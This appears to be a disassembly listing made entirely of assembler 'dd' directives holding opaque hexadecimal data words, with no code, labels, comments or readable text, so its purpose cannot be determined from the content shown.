		dd 0AB444760h, 0FD769186h, 431646F8h, 200C6636h, 4DF61148h
		dd 0A632642Eh, 0C0508258h, 13D13F3Eh, 5805A299h, 0F400DB5Ah
		dd 0AA8A277Ch, 4F54011Ch, 1ECCB99Dh, 0AC9D452Ah, 62EF16DCh
		dd 8D24A601h, 2E05127h,	4E3B039Ah, 0C08629ACh, 980483Eh
		dd 5EB11F7h, 8881E9FEh,	0F6D4E1F4h, 0B0784DA1h,	20294174h
		dd 4225F3E8h, 8264AB12h, 63A9BE70h, 0D8C99294h,	0F77A0DBCh
		dd 7C40B9CBh, 68E4C910h, 24FC6EC4h, 12B499BFh, 0BAA00BE2h
		dd 28D99C02h, 0A8A458E3h, 405D6DCh, 6CB0D804h, 0B1F40092h
		dd 2FA6FA1Fh, 0AC1C12FEh, 0E0B070Ch, 0B4E4017Bh, 5B60ADF5h
		dd 0BFEE0BFFh, 4A02763h, 87DE04A1h, 0E21304B2h,	984B361Ch
		dd 480C4E28h, 0DA12A490h, 8938325Bh, 44D5D205h,	0CC4BE0B3h
		dd 2D34AC6Ch, 0E42C190Ah, 856318BBh, 0E68D202Eh, 0D628AD48h
		dd 7CC36C0Ah, 54008C20h, 0F48B9A48h, 35F6FC27h,	0B317B65h
		dd 0DC30D798h, 0C4A02EAAh, 77F18A3Dh, 29DD05E8h, 0A8F0CB5Bh
		dd 0FA4A0026h, 0B3B8364Fh, 89E8E967h, 485FF06h,	0F45032CAh
		dd 0CCC4A801h, 0B8EF5D9Ah, 1666F081h, 18EC7CBEh, 0F258E3D0h
		dd 27350115h, 0B3049B42h, 0BF48812Dh, 690366A3h, 74688431h
		dd 8B63C481h, 0B29820DEh, 0DE6469EBh, 0C9FE1C0Ch, 0E6677DF4h
		dd 0A7042591h, 0D85B4C09h, 0BE3C1600h, 75CF61Fh, 0BB835B41h
		dd 0B503D32Bh, 0FB0359EEh, 17296B69h, 0ECB000B9h, 63CD26F3h
		dd 6CA1340Ah, 0DCBB1014h, 16422D55h, 0E0708C83h, 0E22A780Ch
		dd 24E350F3h, 0D32028A0h, 0D5BCA149h, 41538818h, 2B8535E3h
		dd 44E73022h, 49EE0094h, 0E6AB833Eh, 0DF2C1929h, 0E04E180Ch
		dd 8BE20344h, 84F8968Eh, 0B8DBA38Dh, 0D2D31400h, 0AB494B8h
		dd 0B07172B7h, 68A010B5h, 9EF205A4h, 0A2F308EFh, 834E1A14h
		dd 12F4E690h, 80FA63CFh, 0BB7056F0h, 0CA00AB75h, 8C5F95FEh
		dd 9EE8855h, 0F88B6D3Ah, 0AC481802h, 0DE90A0E1h, 0F512A858h
		dd 640F1105h, 502CD07Ch, 0C8896370h, 0D9DDE018h, 0A19A7B90h
		dd 3C23EBFAh, 64160304h, 9D1C9248h, 2343441h, 96CC56CFh
		dd 63F4C0D3h, 1F4B2003h, 9D9D34C8h, 0C248E494h,	748092B8h
		dd 49C7E5Eh, 0F6F927DAh, 8CD4B05Fh, 0D01C2D50h,	82025CB1h
		dd 84B4A404h, 0B4A8C3B4h, 880C526h, 909867Eh, 416892F0h
		dd 0BD100A18h, 0BB003553h, 0EC3E8D4Ch, 0A8416D84h, 80DA7E84h
		dd 0F332F7C5h, 5EE748C7h, 0DB6D0048h, 6C0483DCh, 0F7303B60h
		dd 1501EE59h, 8C0C6388h, 90B0D625h, 1542FEEEh, 60F0DC10h
		dd 0B42F77F6h, 4C744C4Fh, 40E7951Ah, 0A0AF1C71h, 0F4637A50h
		dd 18A49801h, 90E1E782h, 0F9FE29B1h, 0BB7C68C3h, 3F41C1D2h
		dd 0E71D982Dh, 4C9AC7F0h, 93F6D12Fh, 0A1FC601Bh, 6C98124Ah
		dd 0EBE0A4C5h, 0B160C108h, 0F6DA2390h, 0F0A54C7Dh, 74E38F04h
		dd 25E08006h, 434DFD2Ah, 0EFF600D0h, 46A6393h, 0CCDD50C4h
		dd 4C20B0E4h, 4120C4BCh, 0BB40D0B0h, 8AF82D6Eh,	3EA06811h
		dd 0F9B7D828h, 0D7D31180h, 0F3ABBA49h, 5BC2B07h, 64F20C5Ah
		dd 0E88175B0h, 23EAA2A1h, 118479F8h, 82866DDh, 1B72364h
		dd 2A8101E5h, 0BB083030h, 0C0E79F07h, 1FF42DE2h, 19400016h
		dd 8BBD03F2h, 5F1484BAh, 0CB9C47EFh, 583864E4h,	3220ACF8h
		dd 0BA4A9618h, 5F1CF790h, 48C308Bh, 51C7D623h, 67828947h
		dd 6CE10B2Dh, 0EF48E8DBh, 25D023EBh, 7A2880FAh,	0E2C238BDh
		dd 60031862h, 63BE48A6h, 0ECFF2E2Eh, 91F93600h,	18CD356h
		dd 0A587FA52h, 24806435h, 53278D80h, 0A5BC44FCh, 998D07F4h
		dd 0A8484B14h, 6B4B04A0h, 0EA128800h, 0C7E263F6h, 0C05CD740h
		dd 2BA1E053h, 48F9FC73h, 0A32864C0h, 225CB4D6h,	8437CFD4h
		dd 0D809DED4h, 2979DC80h, 9306EA03h, 0B0E60497h, 63C20C68h
		dd 9A28CC69h, 0D61A8512h, 0D494F462h, 0DC812700h, 6466F504h
		dd 3278AE4Ch, 6260BA2Fh, 94D8382Ch, 1695FFFh, 89F68230h
		dd 0C57C3C5Dh, 8422FD92h, 6334E0ECh, 88D96070h,	0DB59E79Eh
		dd 891E8674h, 0C5028701h, 4A335A63h, 818681F4h,	3AF1AEh
		dd 0C8300C14h, 185BADF7h, 0EE236800h, 0F88FE1h,	9FF9EF81h
		dd 29C65480h, 0E65FA925h, 2ECB22Ch, 0E9FDE2B5h,	4C0C3B4h
		dd 5F03EDC4h, 6AD21CA5h, 0FAAFC8F2h, 1C10B50Dh,	8F16602h
		dd 0E473262Ah, 25CE0438h, 4619C07Eh, 2D0491DEh,	9411ED92h
		dd 0FE12F8BCh, 68BC5887h, 0E8B62A59h, 1BFFEE40h, 2F041452h
		dd 0E607B4DFh, 50E8B1AFh, 8994336Bh, 808BE32Fh,	2B8C8628h
		dd 0C53700DAh, 0F1089C23h, 714EBD29h, 0C3C4E020h, 0C48B5811h
		dd 48C8CD2h, 20C4B626h,	0BC4CF4A0h, 9411358h, 16B78C20h
		dd 0ACA8B1A5h, 0D8B20868h, 0ECE3EE13h, 1D6C13D2h, 82B041A9h
		dd 0F0BA4837h, 550F8B1Ah, 0ABEB3C06h, 0C2E050D0h, 0B7332A69h
		dd 7609FC50h, 20EAB45h
		dd 0BA5C338h, 33E0548Ch, 12BC5953h, 1409DC7Eh, 36D490F9h
		dd 0FFC380F6h, 0AA1EB8FAh, 289802Fh, 2550FA87h,	66DE2Bh
		dd 24C09C4Ah, 9A4829D9h, 18D14CF4h, 40700612h, 94AA7C8h
		dd 577F63C0h, 7D8E8CBh,	1B36E278h, 0C3D0C5F9h, 3D24B80Bh
		dd 68B8B1F6h, 0B02A304Ch, 2D0BB2CCh, 0FEC5231Dh, 0E2E70368h
		dd 0B5A9EAF0h, 1DC54AFh, 0EC3CFB4h, 7B3CF1D7h, 0EFD4D403h
		dd 58E09903h, 5B91C8h, 8DD8B493h, 2BB95FD7h, 0FCEFF32Eh
		dd 72500E25h, 0C62E84ECh, 74AA34h, 1E23CFC5h, 4A2549Eh
		dd 5802024Ah, 0CE85E9F7h, 8832670Ch, 4FE0CEE2h,	1D04867Ah
		dd 943096EFh, 0E493BC12h, 17820DBh, 0C20B0898h,	803B0514h
		dd 1B902398h, 0F7A4B8CDh, 27CEC0FCh, 0B8942FC3h, 814F9B03h
		dd 0E9BF0F3Fh, 0EC019776h, 0F3B0700Ch, 0CC721A09h, 0C3248099h
		dd 2696AD37h, 1808F611h, 902911C2h, 0E3025892h,	8A7CEC6Fh
		dd 0ACAC6387h, 0DC04E012h, 94A95900h, 9B63A8E6h, 9028BA79h
		dd 0BC64A5BFh, 443D0A9Fh, 0E88D1DF7h, 989B8B78h, 1608AECh
		dd 9EC30C83h, 6C02A26Ah, 52C8458h, 4985885h, 59630052h
		dd 0F74A89DDh, 2A5BEB08h, 6700A48Bh, 0C11D474Ch, 900F5EBh
		dd 83E03FDFh, 0FDAD06h,	704A515Ch, 329D23C0h, 63910500h
		dd 0D672DFC7h, 294C0537h, 400CB6F7h, 948F3528h,	4E3A3FA8h
		dd 6B0F9EAFh, 53E0CDC0h, 0E5B56E04h, 0C4CD037h,	4A798E10h
		dd 20CCD814h, 0CD8C4FE2h, 77243890h, 7490A94Bh,	5C0A636h
		dd 0EF5A1226h, 0BD080149h, 809AA863h, 0D7676529h, 3029CF7Fh
		dd 0C57875D5h, 0F000FBEFh, 920738CBh, 7718874Bh, 7EE760Fh
		dd 1265611Ah, 0C42B0989h, 0C1299860h, 0E3A8019Fh, 256EB9B8h
		dd 0C69CDC78h, 2519F73Eh, 0AA54B02Ah, 980805F9h, 0A0F14A86h
		dd 0B33404ECh, 84F2F120h, 75D2F60Ch, 7C002341h,	0A3BD11A6h
		dd 4AD70304h, 2E7889CAh, 1A9E6038h, 28D01004h, 8FA8EC74h
		dd 9C9DD94Fh, 0EDF6B011h, 4E40046Eh, 33124216h,	3D18D385h
		dd 5C97EF93h, 81525698h, 2242C134h, 34A481B8h, 8632CACh
		dd 3E77C510h, 438CC12h,	0E827A47Dh, 0A2F2C80h, 0F7C51644h
		dd 85E0F005h, 0E87828B5h, 84416613h, 3D32049Fh,	0B0927829h
		dd 0CD09BDACh, 1B91EE9Ah, 88F2BD30h, 6A5CF196h,	218C2809h
		dd 7440F7A8h, 0C61C707Ah, 0F226C141h, 903F289Bh, 0F0407859h
		dd 0C4EA4063h, 0EEC2472Dh, 10F61550h, 638228CBh, 1C40CEEBh
		dd 0C10486B9h, 570DA81Bh, 0DDDF70B2h, 81D0922h,	3760001h
		dd 805C3CBFh, 5E523FBAh, 71B986Ah, 17682E91h, 47036225h
		dd 0C1018CD8h, 6B1D43F0h, 0A28C6FCFh, 79A03B75h, 8796C096h
		dd 34B41CD5h, 63D00C56h, 8DA8817Ch, 4A183E3Ah, 0A8EC3424h
		dd 2C30B6E4h, 0BB0134BEh, 0C6F6F7CEh, 621CB8A3h, 0E479B68Dh
		dd 85842494h, 44E8220Ch, 3B8834Fh, 60E0ACEFh, 8DA7CE00h
		dd 0ED668BE8h, 0A63F3EE5h, 0D77A1101h, 0D27F2949h, 65D4D841h
		dd 4AF7F054h, 30B649h, 3609C620h, 25CDBAh, 9887C534h, 3FB12F8Ch
		dd 51CC73Bh, 0D129ED67h, 3CDDC0B0h, 0FF8F86B3h,	0EAA7E794h
		dd 52E940A0h, 5F0B088Ch, 0C04A179h, 24BFE0C9h, 25F82EA9h
		dd 9168180Eh, 3C559200h, 7996F7Ch, 7E15FD2Fh, 0A35740EFh
		dd 12090BA1h, 72D78525h, 9BD4A48h, 0FCE0BB98h, 2AF190B7h
		dd 0F38A7C22h, 61920974h, 960BE8D9h, 13B0D915h,	4E304086h
		dd 2F43BD05h, 7B345B09h, 29C5926h, 0F5569C27h, 0FC9A48E0h
		dd 6F091E7Fh, 40CF28FBh, 508E34Ch, 0F764F9CEh, 85F057FCh
		dd 29C00288h, 79099D53h, 3466A544h, 0A87E10A2h,	10620343h
		dd 73C1B818h, 0E688CE2Dh, 0ACDC80B4h, 7267834h,	95435E27h
		dd 4B5353BEh, 7B4E0E88h, 0E81BC01Ch, 0FD8916C0h, 59410485h
		dd 5D062CE3h, 4021D9F7h, 4629F324h, 0DD4F7C2Ch,	9593B21Dh
		dd 96E1C02h, 13EC600Bh,	0F01EE8BFh, 88D40112h, 14E2B9F2h
		dd 0BFC33F5h, 0B696C63h, 0B78431C0h, 0D01E9231h, 42960459h
		dd 1ED2F0F4h, 0A069E710h, 0FBD0310h, 144BF9ABh,	16043C61h
		dd 60242476h, 1233220Fh, 295C013Dh, 38878497h, 3431858Ch
		dd 0B12CEC86h, 2FEF3B7h, 68D4CB64h, 5C128317h, 0F313F431h
		dd 0F6C4303Ah, 48B2A382h, 0BE282F50h, 0A0C9A25Ah, 994BE828h
		dd 9C026A0h, 0A07B63C4h, 51F086E4h, 0C71484Bh, 0B20C0B0Bh
		dd 0F8EEF985h, 5EF60DE8h, 3D6F707Dh, 0AD42770h,	0F033CBF7h
		dd 4429F50Eh, 0E4A30CF0h, 0FE5B8700h, 0EE03C29Eh, 1D704959h
		dd 0CF96EDEAh, 0E38ECC0Fh, 0F71DE361h, 0B4C98BC5h, 3E6C062Fh
		dd 950098C7h, 0EDFF65DCh, 0C262F7h, 0FC96F3F6h,	9A613D85h
		dd 3EF2FE3Dh, 0B9D919E9h, 627BE2C1h, 0E8E3EA78h, 24CD3CB8h
		dd 6904DB02h, 0C0210C40h, 81F37980h, 3C273E8Ch,	0B5CF9ABh
		dd 50F9460Ch, 58DB9D00h, 4240E7h, 0B924E5A3h, 763FD96Bh
		dd 632BBC0Ah, 610BBCEDh, 3888ACE2h, 0DC530020h,	436BD317h
		dd 6D647C0Dh, 77C676A9h, 63042580h, 5D000074h, 0C7E087D4h
		dd 4AF400ABh, 8C3670A0h, 405D824h, 0FA2BF795h, 8501DCB8h
		dd 9EB371CBh, 9D66F455h, 0B029773Ah, 0F3ECC898h, 0AF2A1608h
		dd 8498E275h, 88E09EBBh, 0C71040C4h, 9AF0B4BDh,	1A9E25A8h
		dd 0DD4D60E8h, 9B7EF0Bh, 101078FCh, 40292663h, 6D0043FAh
		dd 599235A9h, 0CC04B42h, 0EF6CF77Fh, 153DCDF0h,	0E15B807Ah
		dd 52260DEBh, 0F6560962h, 1C50D629h, 181DE500h,	16EFAEA3h
		dd 7A8F0246h, 0D95C1179h, 4A84E2h, 50A26C6Ch, 564298F6h
		dd 198C680Fh, 63E51703h, 0EDF00094h, 0EBDAC78Dh, 2A09101Dh
		dd 7828A019h, 40F6E470h, 3E776BB0h, 6446C405h, 0E800CD87h
		dd 619159FCh, 1ACE4870h, 18087602h, 9C4856A8h, 0BC10D99Ch
		dd 0D0982CABh, 60CD89E6h, 172F98C2h, 69C0F3F8h,	4280F1C9h
		dd 68C12BAAh, 140D6F96h, 206AD1BEh, 0E392CA24h,	4B37B21Eh
		dd 11C9E80Ch, 0A72727F7h, 63BC4460h, 0C809E94Fh, 7C74649Ah
		dd 4830912h, 70A08E76h,	66269761h, 4190865Ch, 0A218804Ch
		dd 0F770AD1Ch, 74F24AC6h, 32C0E5B4h, 14E30970h,	0E2DC9883h
		dd 2425494Dh, 9BE0DC41h, 0B0C212ECh, 216C0084h,	0C39541C4h
		dd 0E9EEFE0Bh, 2354077Dh, 0C2984Ch, 39D814F3h, 318CAE2Ch
		dd 103F1300h, 98FFABA1h, 6F54090Eh, 0B009570Ch,	832F5C7Bh
		dd 0E9D77BD0h, 0B2F3A29h, 83042EF8h, 0FD0A867h,	4BF7D3BCh
		dd 0BD74F037h, 0B8707C85h, 4380E40h, 29C0C2ABh,	165878A6h
		dd 60BA8CE3h, 2D746020h, 549F2200h, 0DC6E2A97h,	0F7030B11h
		dd 54520557h, 1C9BCF03h, 880AEBA7h, 2D6FF92h, 3F66CD50h
		dd 0A87C8B03h, 0C25D3643h, 2528CE8Eh, 0D4C19C64h, 817878ECh
		dd 8954EB0Ah, 20D109EBh, 480042AEh, 434A8597h, 546D7B00h
		dd 2AE496DAh, 0E2AB0E8Dh, 3567F5CBh, 0C07A4788h, 0D03D1C7h
		dd 0FEF1C827h, 0FA4607D4h, 7E6CC008h, 0DD003451h, 7722F652h
		dd 1F54715Eh, 0CA096E2h, 0A230C94Dh, 3F516E09h,	2277008Dh
		dd 0C39019Bh, 713674E7h, 4007A70h, 0F64D9033h, 8766EA9h
		dd 0D04EB351h, 3418A326h, 0E4AE28h, 5A63D1B7h, 0EC4D9B28h
		dd 0D6F02A00h, 5B8CDF1Bh, 30F980CCh, 8EE6C718h,	0C1836CA0h
		dd 158A4948h, 8378CD4Ch, 7163F510h, 0EA800E7Ah,	66C0D5A2h
		dd 6CF61847h, 1345CB00h, 0E042C9FBh, 340900ECh,	47EA37D4h
		dd 881F1511h, 3502D375h, 2972D57h, 0A200412Ah, 5CEA5605h
		dd 72281396h
		dd 0B47F009Ch, 0D786F63h, 28C040D1h, 41E77103h,	0C7703CB3h
		dd 0D303440h, 6445A098h, 0C4C453FBh, 53210200h,	0E7414D97h
		dd 0E8FA3D30h, 0F8150345h, 316318B5h, 1C6C30DEh, 0F6AC3C00h
		dd 9476D197h, 96F20052h, 4270A999h, 0D63034D9h,	6A5F68B4h
		dd 26BA006Ch, 0F650EC64h, 8801B67Ah, 34800721h,	0F0415C3Ch
		dd 0D8483775h, 5AC1F99Ah, 576D1889h, 90F23C04h,	1398C10h
		dd 5989F4A0h, 1120E778h, 0E2D43038h, 2CE4ABC8h,	283B7528h
		dd 2034EC28h, 152C7248h, 10E06C7Fh, 3F00C52Dh, 0B44C1F7Ch
		dd 10E439B6h, 0A504B109h, 471C2096h, 1EF3EE09h,	793D4C4h
		dd 0C0AB3C0Dh, 5351666Ch, 5C63AC0Ah, 2B81A8EAh,	3CE06448h
		dd 0AECF080h, 7CD943C9h, 6C5D7601h, 9E28C92h, 0ECB0C885h
		dd 4050050Dh, 445C0010h, 618A3935h, 68E4E730h, 7A9701DEh
		dd 5431C004h, 238596CAh, 0B310D061h, 489F712Dh,	7951026Ch
		dd 4848765Bh, 0E70A817Bh, 0C4C663F1h, 3D7E289h,	0C46CDD78h
		dd 2120488h, 8B062C79h,	47C3093Ch, 63D48180h, 85349809h
		dd 0F16000EDh, 50BD491Eh, 504CA86Eh, 0D434B2h, 0D5218085h
		dd 5D1BFE4h, 7DEF980Fh,	9010D2A2h, 69031314h, 0FF6E6207h
		dd 43F9B00h, 1C184CE1h,	5C10B6C9h, 0AD0A9DCCh, 0C899FA04h
		dd 7B8C4B01h, 63D0F9FFh, 0AD50C0AAh, 0A63D166Ch, 0F22FEA12h
		dd 885D8040h, 0E21078Ch, 0CB86B2AAh, 0BDDCAC20h, 149B5901h
		dd 0D0D65080h, 0C1AA9DBh, 9E6263C6h, 56488F18h,	61852670h
		dd 0E480BC21h, 0CD124728h, 3CC71EDh, 61752E1Ch,	4FE18839h
		dd 0E33EC06Ch, 44B52526h, 4075EF8Ch, 63B71CDCh,	4D9A0513h
		dd 0A6C401E4h, 806A6104h, 15A84C20h, 45C362h, 0A22DECB4h
		dd 8CD2406Fh, 1CF44924h, 0C02CAB12h, 0F027A54h,	0F94011B3h
		dd 5E747B22h, 85288466h, 0A700B031h, 0CDBF7E13h, 0C766A18Ch
		dd 80083B20h, 0F3545774h, 2CA40C09h, 40180730h,	3664A3C9h
		dd 4058AAF2h, 81F0CEBCh, 0E4B44289h, 0F1DEAC60h, 0EA0044A4h
		dd 0CC438FECh, 0EF6763C5h, 0F89C1504h, 7284F095h, 21D0859Eh
		dd 303BDDD4h, 304C3228h, 8E6F1208h, 0B3A83870h,	43DF14D7h
		dd 0DE009C55h, 7BD6355Eh, 8C18851Eh, 452872DBh,	0C1B313FCh
		dd 0A02445DAh, 5A48904Eh, 0B71CC3EDh, 0E4C04C92h, 642D7099h
		dd 8C47487Ch, 0D4718500h, 74865456h, 0F4523900h, 0E04723Ah
		dd 504890A0h, 0CC6060h,	9A7E9861h, 3EC751C6h, 9870FE28h
		dd 1E1A520h, 0F72E2CC1h, 0C037F9FBh, 541277EAh,	5C24B1BBh
		dd 345A60C0h, 0E5A53C8Dh, 156F812h, 0F207EA88h,	5F82E08Bh
		dd 69029D07h, 0F941FB5Eh, 7ADC2F39h, 0E203208Ch, 6405E491h
		dd 0BC53BE74h, 5DC9701Fh, 0ABFC98BBh, 65DD07C0h, 20333D10h
		dd 98342F03h, 2CC5D4Dh,	52B2EB60h, 909081DEh, 2C8F67FCh
		dd 0B80A2BA4h, 0F1640208h, 2C66F59Ah, 69E0B530h, 9135752Ah
		dd 0D558844h, 748509h, 0EE3A4F1Ch, 1E341490h, 907BA480h
		dd 0B35412CCh, 0F8301401h, 1240E430h, 24390462h, 801DAC51h
		dd 0FAB604BEh, 0C082F629h, 5D86013h, 80A6F827h,	801447Bh
		dd 12B14B23h, 0B0882FE5h, 0ED017F09h, 1463CF36h, 4DAC20h
		dd 3474F9FEh, 0A4D50569h, 3C1D6C02h, 805D02FCh,	9FCC4B98h
		dd 893D3063h, 25BBB340h, 4C50D50Fh, 4A6FE0B0h, 381B461Fh
		dd 10B08C7Dh, 0BD09FB58h, 33F3D002h, 822FD234h,	0C094F1B0h
		dd 7C2A3E2Ch, 4C565D0Dh, 8BC3F13h, 0B4208E78h, 0FB2678A4h
		dd 4A448C2Ah, 1899B483h, 20359C68h, 0EFE2E57Fh,	34A5AA06h
		dd 4838C0D9h, 0DE02ACE4h, 0E7E296C9h, 9F0BD08Fh, 52B59018h
		dd 0EA304CB0h, 6CAF48ADh, 518D1913h, 8307994h, 97F43034h
		dd 0E2B24258h, 10D1DF29h, 97324C00h, 0DE06871h,	39CC4F76h
		dd 17483010h, 0D3C73308h, 0ACED05A3h, 0A41480E2h, 13481004h
		dd 0A278160Ch, 8C807803h, 4281A6F8h, 9104D08h, 187482A1h
		dd 9932EC2Ch, 88F0A624h, 0C802917Eh, 600F5CC4h,	0C8937A68h
		dd 74450C31h, 1EE18CCh,	3DAED1CFh, 37666EF7h, 0A7A1238h
		dd 4A342490h, 1C88B0FDh, 66D4966h, 2869C28Ch, 98B5AA29h
		dd 1E36788h, 880448F4h,	0DCE88B3Ch, 33E482D9h, 0D98504F9h
		dd 63A034D8h, 1094E833h, 0C9DEB39Dh, 44318822h,	0B033C9ECh
		dd 7C0E48F6h, 98950840h, 7F3D3A64h, 29FBE880h, 5CD327BEh
		dd 28B6F43Ch, 34320801h, 6113D91Ch, 404CE727h, 325180EFh
		dd 8F028C90h, 0C3644496h, 4C8CC8A6h, 0A5A7F89h,	29C1384h
		dd 989E158Ch, 0D4007822h, 0AD921EECh, 78BDCC8Fh, 0F82F2EB1h
		dd 590847E8h, 589B5844h, 29698A89h, 0C708828h, 3002F613h
		dd 0E1549EB0h, 1473B2C6h, 0BDCBA2Eh, 88A7CDB3h,	0E4A0F817h
		dd 44902271h, 766A8512h, 0E06E0483h, 5E75E7Eh, 0A423076Bh
		dd 0B194C299h, 63252850h, 0B87C00D5h, 5BD1B2Bh,	79890C4Fh
		dd 8AF804FEh, 0E4B00074h, 247C3C18h, 58288004h,	0AA61E163h
		dd 1349F10h, 0F40B1C2Ch, 18169539h, 0E06E5Ch, 8F63A2A9h
		dd 0E97D0DB3h, 7BE0AC65h, 4EDF979h, 924542Ch, 80754B64h
		dd 96E1DE98h, 8994A13Ch, 390460h, 0B4851C9Ch, 6C7A6B63h
		dd 0AEC5512h, 4937AC88h, 2900B491h, 4290E0E3h, 0C3008F4Ch
		dd 0ADEF11A9h, 0E860629Eh, 74D500D6h, 7996C561h, 261444AFh
		dd 7B083975h, 516F3413h, 0C8027016h, 420EC204h,	100E578h
		dd 0E552155Ch, 0A86E20D3h, 60A390A1h, 260850E4h, 8BD75Ah
		dd 0EDF94574h, 3C0CADCAh, 0D0043B25h, 7C81258Ch, 221F3C22h
		dd 0F3CB808h, 84AE5966h, 96E83F9Ch, 2E26C449h, 11B46554h
		dd 8C169448h, 0FAD44083h, 0FB3E5F03h, 8D062B05h, 109618D7h
		dd 56572629h, 76240C8h,	0D498B01Eh, 7B02360Eh, 8520455Fh
		dd 24E468C8h, 8CA8E263h, 9B80BF9Fh, 0A010DE4h, 0AE40DD58h
		dd 8C650685h, 0B700742Ch, 0A014D709h, 44007489h, 7C7F9E46h
		dd 501D349Dh, 259BB04Fh, 500F5186h, 0FB5D09FFh,	80F4889h
		dd 0D4488CF3h, 52078CA8h, 768F4B07h, 39303645h,	183CA971h
		dd 500BBF7Eh, 80C322EEh, 1D417A95h, 0A0D5CE98h,	0F0468C2h
		dd 0BDB848C9h, 0FA54A63h, 0B3009394h, 2EC504ABh, 0E534C8D4h
		dd 7C902E86h, 43290FB3h, 0E038F1D0h, 0D30AF4Fh,	9F0518B5h
		dd 2048B0BAh, 4D00A9DCh, 1444DF7Eh, 811B860h, 83320480h
		dd 0B8C8602h, 138880F5h, 38FACA74h, 0F8802CA0h,	24A203FBh
		dd 34108B87h, 7400E19Bh, 7A864C37h, 4A2C9266h, 0F0488CCAh
		dd 1843F0A4h, 0B4301E94h, 8B4C8F5Dh, 0CDAC8CE0h, 56FEFDFBh
		dd 0DC03CE7Eh, 5D04AD9Bh, 5C904C6Ch, 4341E10h, 9AFA0F63h
		dd 0AC18D480h, 2C46019Dh, 480460CDh, 4B3087E3h,	0FE4568B7h
		dd 565BDC04h, 0F893F485h, 0D81DB5A2h, 33DF0405h, 0D256AC05h
		dd 2BA6C406h, 2A94B10h,	0AC72B3C4h, 776C2009h, 9A79F58Ch
		dd 28FD6644h, 0EB29D866h, 542484CCh, 93082C4Ah,	5073182Ch
		dd 46310D7Fh, 0BC6DC978h, 0B137C033h, 0ACB8C3A1h, 0CC99182Ch
		dd 3928582h, 28945A7Bh,	0F1B54904h, 16E342E8h, 0A8AED3h
		dd 74930C27h, 74B9A504h, 539C8D10h, 0E55C1F68h,	0F240002h
		dd 0E07BF087h, 6CFC5F34h, 716228C2h, 984444Eh, 7EC96EAh
		dd 15913818h, 76440CB4h, 0B8927B09h, 814EF425h,	88BE04F0h
		dd 405A7A89h, 7234F2A3h, 0E406AC92h, 17160442h,	130CB3E0h
		dd 0ECDC30FDh, 0D80F95F1h, 0C0238D33h, 4C633B21h, 0FA9A732Ah
		dd 0C270D3h, 3575E660h
		dd 0D78B7770h, 0F4CAA603h, 0A0E432E1h, 0DEE379h, 0E6804CD0h
		dd 0C6E5ACF0h, 31FADF0h, 0F5009EB9h, 50857377h,	0C5CC0F20h
		dd 4A038359h, 69C8F3F6h, 2A489303h, 746062C2h, 0D7342050h
		dd 0EEEAD180h, 2FF8D00Eh, 0F3B47C6h, 4467340h, 552A0098h
		dd 0E95DEBE3h, 0FF71E6F8h, 8BC2011Fh, 545324C3h, 617AE95Bh
		dd 1F8983C3h, 0BA74FF16h, 8DE625EFh, 313F1E27h,	633B73Ch
		dd 8480BFEFh, 0D9E99CC8h, 8322C12Ch, 0DF8904ECh, 82B951F8h
		dd 69DC3B06h, 0A524C29h, 0C3815B59h, 58E91F0Ch,	2D583A13h
		dd 923D7271h, 5F81451h,	16E90C07h, 0C38F2426h, 29665C90h
		dd 1C7A0A63h, 5D400D6h,	31B80B48h, 0D87D015Ah, 5058E320h
		dd 411A6466h, 0CBDA042h, 18536810h, 6B74E90Ch, 5400BB0Ah
		dd 893A735Ch, 14295BD9h, 990C8BC8h, 0C4E36779h,	0EA370C04h
		dd 0B89240h, 465768F9h,	0EF75DB35h, 0C1406500h,	0D0F703E8h
		dd 907C20E9h, 241C8915h, 0EB949D25h, 22873006h,	6C45E95Ch
		dd 410C1222h, 0C7E153F1h, 0C7862EBh, 0FA3F5E78h, 0DD1B1A5Fh
		dd 54C12012h, 0A0B8505Dh, 0C7C5012Ah, 0BAC483F5h, 8758C30Eh
		dd 8CE9380Ch, 817511h, 0F2782CFh, 6E7C14Eh, 95E9520Ch
		dd 0A8CB377Bh, 0FE89578Ch, 31C74281h, 3C870C83h, 2CED5288h
		dd 0BFC58003h, 8C5B9FFEh, 80BD06B6h, 0E51AC0C1h, 2416806h
		dd 766BEADh, 0D81F6081h, 0C1F6305Fh, 0A90DF9C0h, 903CB14Dh
		dd 0EB63836h, 0C8213F85h, 7BB0059h, 0FB89CB05h,	429C639h
		dd 9C2E958h, 90420B93h,	775EEA81h, 0D3313FE7h, 1E5BEE98h
		dd 68035753h, 23352559h, 0AED80B5Fh, 55020B4Bh,	8382FFEFh
		dd 0BF004619h, 502B057Fh, 2ED9723h, 0E9557D3Bh,	0AE93250Bh
		dd 485721EFh, 34FFF45Fh, 31C78AA0h, 52854891h, 89C3EFBAh
		dd 5AD0E015h, 0E5893455h, 0EDAA323Ah, 0A598D308h, 2554E81h
		dd 7D1A6851h, 4941355Ah, 0F79141EBh, 0F878DCDEh, 0BAB00EC4h
		dd 93587282h, 0A1D7F2DEh, 59CD89B1h, 157E6C83h,	0DAF16ABDh
		dd 0C4BF528Ah, 0EA4A4188h, 29161B44h, 34C124DAh, 83EDD81Eh
		dd 1AAF7C3Bh, 71CF501h,	9716E908h, 31789732h, 8177FB00h
		dd 0EF76BAC6h, 30CC13Bh, 204C1580h, 4E048590h, 0F30119EDh
		dd 3A4031C9h, 7C21B9h, 0F1812E05h, 37E832A4h, 59CB2917h
		dd 5D24120Ah, 6CC85344h, 998F7B5Bh, 0F1E90662h,	0B9812240h
		dd 268923BDh, 380A9BEAh, 4CB7BE70h, 8AE41182h, 296154A7h
		dd 0F07B2414h, 0BA04DC5Ah, 5952E7D9h, 6442D682h, 56B2C042h
		dd 7F685E54h, 0BCBB3555h, 5A3A503Ah, 655523Ch, 70A6203h
		dd 37972080h, 0EAEF8100h, 8B6F443Ah, 906FA614h,	8C21A009h
		dd 1B7E3048h, 921A5C8Ch, 0F2007976h, 9D3235D9h,	905AD701h
		dd 0B904985h, 0B8C2077Fh, 0B36DA838h, 510A4A4Eh, 331C8BDDh
		dd 55DE8C0h, 770318F8h,	0DE9897Ah, 0E78A5741h, 1319EC81h
		dd 28001289h, 0A630E90Eh, 47680A5Ch, 14056239h,	97B31809h
		dd 80E8B7C9h, 0F7BE56A4h, 0F6075476h, 5D096868h, 2F6288E0h
		dd 0C156500Fh, 15EA1E93h, 0AA3670F0h, 54F70EDDh, 0B7C226D1h
		dd 0A2495368h, 8784F11h, 538000C2h, 2C8B4E28h, 0CDEC83AEh
		dd 0A77B020Fh, 0C1F58E62h, 55326F2Ah, 0B82C3BF7h, 0A709912h
		dd 607C1A8h, 0CEF737E9h, 187DB658h, 580EFB18h, 8E526C1h
